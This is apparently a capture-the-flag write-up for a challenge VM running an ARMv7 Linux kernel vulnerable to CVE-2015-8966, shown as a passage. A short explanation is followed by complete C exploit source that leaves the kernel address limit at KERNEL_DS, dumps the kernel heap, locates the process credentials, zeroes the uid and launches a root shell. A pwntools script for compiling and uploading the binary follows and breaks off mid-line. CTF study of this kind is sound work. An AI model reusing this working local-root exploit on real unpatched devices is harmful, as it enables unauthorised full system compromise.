Rating:
In this challenge, I was given a VM image for ARMv7 with a Linux kernel
vulnerable to CVE-2015-8966. Searching for that yielded [a POC from Thomas
King](https://thomasking2014.com/2016/12/05/CVE-2015-8966.html). Looking at
that, I learned that I can get the kernel to return to userspace without
resetting a call to `set_fs(KERNEL_DS);`. Turns out this means that for any
syscalls taking pointers, the kernel will only allow pointers pointing to kernel
memory and disallow pointers pointing to user-space memory (i.e. the inverse of
what's happening normally).
That means, kernel memory can be read written using the `write` and `read`
syscalls. Since pointers to user-space can't be given to those syscalls once the
exploit is triggered, I needed a way to reset the value of `fs`. I ended up
using `exec` to do that. That makes the resulting exploit a bit confusing, since
the `main` function has a manually coded state machine with the state encoded in
`argv[1]`, but that way we can do an arbitrary amount of syscalls, each one
with `fs` set to `KERNEL_DS` or `USER_DS` depending on what's needed.
From there on, the only question was how to change the credentials of our
process to root. While the kernel didn't have any KASLR, the heap addresses for
the `struct task_struct` or `struct cred` still isn't entirely predictable.
Calling a function like `commit_creds` isn't completely trivial from memory r/w
either. In the end, I decided to dump the whole kernel heap (or rather, a bit
more than that) and search it for the unique `comm` value (i.e. process name) of
our process. This `comm` string is stored inline in the `task_struct` and
immediately preceded by the pointers to the process credentials. (See [here for
the current kernel
version](https://elixir.bootlin.com/linux/v4.20.3/source/include/linux/sched.h).)
There were some duplicate copies of the string in question in the kernel heap,
but there only ever was one that was preceded by something looking like a pointer
into the heap. So after following that pointer, we can zero the `uid` field and
we're done. (Except that all the `execs` change the currently active task from
the time of reading memory. To prevent that from interfering, I forked off a
child at the beginning so that this child would change the permissions of the
parent process.)
With all that said, here's my full exploit:
```c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define F_OFD_GETLK 36
#define F_OFD_SETLK 37
#define F_OFD_SETLKW 38
static long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
unsigned long arg) {
register unsigned long _fd asm("a1");
register unsigned long _cmd asm("a2");
register unsigned long _arg asm("a3");
_fd = fd;
_cmd = cmd;
_arg = arg;
register unsigned long _res asm("a1");
__asm __volatile("swi 0x9000DD"
: "=r"(_res)
: "r"(_fd), "r"(_cmd), "r"(_arg)
:);
return _res;
}
static void invalidate_limit(void) {
int fd = open("/proc/cpuinfo", O_RDONLY);
struct flock *map_base = 0;
if (fd == -1) {
perror("open");
exit(1);
}
map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_base == (void *)-1) {
perror("mmap");
exit(1);
}
printf("map_base %p\n", map_base);
memset(map_base, 0, 0x1000);
map_base->l_start = SEEK_SET;
if (sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)) {
perror("sys_oabi_fcntl64");
}
puts("fcntl done");
munmap(map_base, 0x1000);
close(fd);
}
unsigned long kernel_heap_start = 0xc5000000;
unsigned long kernel_heap_end = 0xc66f0000;
static void dump_heap(int io_fd) {
invalidate_limit();
while (kernel_heap_start != kernel_heap_end) {
printf("dumping more heap\n");
int written = write(io_fd, (void *)kernel_heap_start,
kernel_heap_end - kernel_heap_start);
if (written == -1) {
perror("write failed");
exit(1);
}
kernel_heap_start += written;
}
printf("heap completely dumped\n");
int pid = fork();
if (pid == -1) {
perror("fork");
exit(1);
} else if (pid == 0) {
// child
execl("./0123456789abcdef", "0123456789abcdef", "b", NULL);
}
}
static void wait_children(int count) {
while (count > 0) {
int status;
int r;
do {
r = waitpid(-1, &status, 0);
if (r == -1) {
perror("waitpid");
exit(1);
}
} while (r == 0);
printf("child %d has exited: ", r);
if (WIFEXITED(status))
printf("exit code=%d", WEXITSTATUS(status));
if (WIFSIGNALED(status))
printf("signal=%d", WTERMSIG(status));
if (WIFSTOPPED(status) || WIFCONTINUED(status))
printf("stop/continue");
printf("\n");
count--;
}
}
static void make_write(int io_fd, void *addr, char *next) {
int written = write(io_fd, addr, 4);
if (written != 4) {
if (written == -1)
perror("write failed");
else
printf("incomplete write: %d!\n", written);
exit(1);
}
if (next)
execl("./0123456789abcdef", "0123456789abcdef", next, NULL);
}
static void make_read(int io_fd, void *addr, char *next) {
int num_read = read(io_fd, addr, 4);
if (num_read != 4) {
if (num_read == -1)
perror("read failed");
else
printf("incomplete read: %d!\n", num_read);
exit(1);
}
if (next)
execl("./0123456789abcdef", "0123456789abcdef", next, NULL);
}
static unsigned int zero_creds(int io_fd, unsigned int cred_addr) {
printf("credentials at %x\n", cred_addr);
if (lseek(io_fd, 0, SEEK_SET) == -1) {
perror("lseek");
exit(1);
}
printf("zeroing file\n");
make_write(io_fd, "\0\0\0\0", NULL);
if (lseek(io_fd, 0, SEEK_SET) == -1) {
perror("lseek");
exit(1);
}
invalidate_limit();
printf("writing credentials\n");
make_read(io_fd, (char *)cred_addr + 4, NULL);
printf("credentials now 0\n");
}
static unsigned int find_creds(int io_fd) {
char *map_base = mmap(NULL, kernel_heap_end - kernel_heap_start,
PROT_READ | PROT_WRITE, MAP_PRIVATE, io_fd, 0);
if (map_base == NULL) {
puts("mmap failed");
exit(1);
}
unsigned int num = 0;
for (unsigned i = 0; i < kernel_heap_end - kernel_heap_start - 12; i += 4) {
if (memcmp(map_base + i, "0123456789abcdef", 15) == 0) {
char *pos = map_base + i;
printf("candidate at %x\n", i + kernel_heap_start);
char *cred_effective = pos - 4;
unsigned int cred_addr = 0;
memcpy(&cred_addr, cred_effective, 4);
int pid = fork();
if (pid == -1) {
perror("fork");
exit(1);
} else if (pid == 0) {
// child
if (cred_addr >= kernel_heap_start && cred_addr < kernel_heap_end) {
zero_creds(io_fd, cred_addr);
}
exit(0);
}
num++;
}
}
munmap(map_base, kernel_heap_end - kernel_heap_start);
return num;
}
int main(int argc, char const *argv[]) {
int io_fd = open("./rw", O_CREAT | O_RDWR | O_CLOEXEC, S_IRUSR | S_IWUSR);
printf("step %s\n", argv[1]);
switch (argv[1][0]) {
case 'a':
dump_heap(io_fd);
wait_children(1);
setuid(0);
if (geteuid() == 0) {
puts("got root");
} else {
puts("still unprivileged :(");
}
execl("/bin/sh", "sh", NULL);
break;
case 'b': {
unsigned int num_candidates = find_creds(io_fd);
wait_children(num_candidates);
break;
}
}
}
```
And here's the script I used to compile and 'upload' the program through stdin.
```python
#!/home/malte/.venvs/pwntools/bin/python
import os
from pwn import *
from subprocess import check_call
#context.log_level = 'debug'
check_call("arm-buildroot-linux-uclibcgnueabihf-gcc -static find-heap-pub.c -O3 &&
arm-buildroot-linux-uclibcgnueabihf-strip a.out", shell=True)
hash_val = md5filehex('./a.out')
recv_hash = ''
encoded = b64e(open('./a.out').read())
os.chdir('./1118daysober_files')
r = process(['./run.sh'], stdin=PTY)#, raw=True)
#r = process(['/usr/bin/sshpass', '-p', '1118daysober', 'ssh',
# '[email protected]'], stdin=PTY)#, raw=True)
r.readuntil('/ $')
r.sendlinethen('~ $', 'cd /home/user')
while recv_hash != hash_val:
if recv_hash:
print('expected "{}" but got "{}"'.format(hash_val, recv_hash))
print(r.sendlinethen('\n', 'base64 -d > 0123456789abcdef <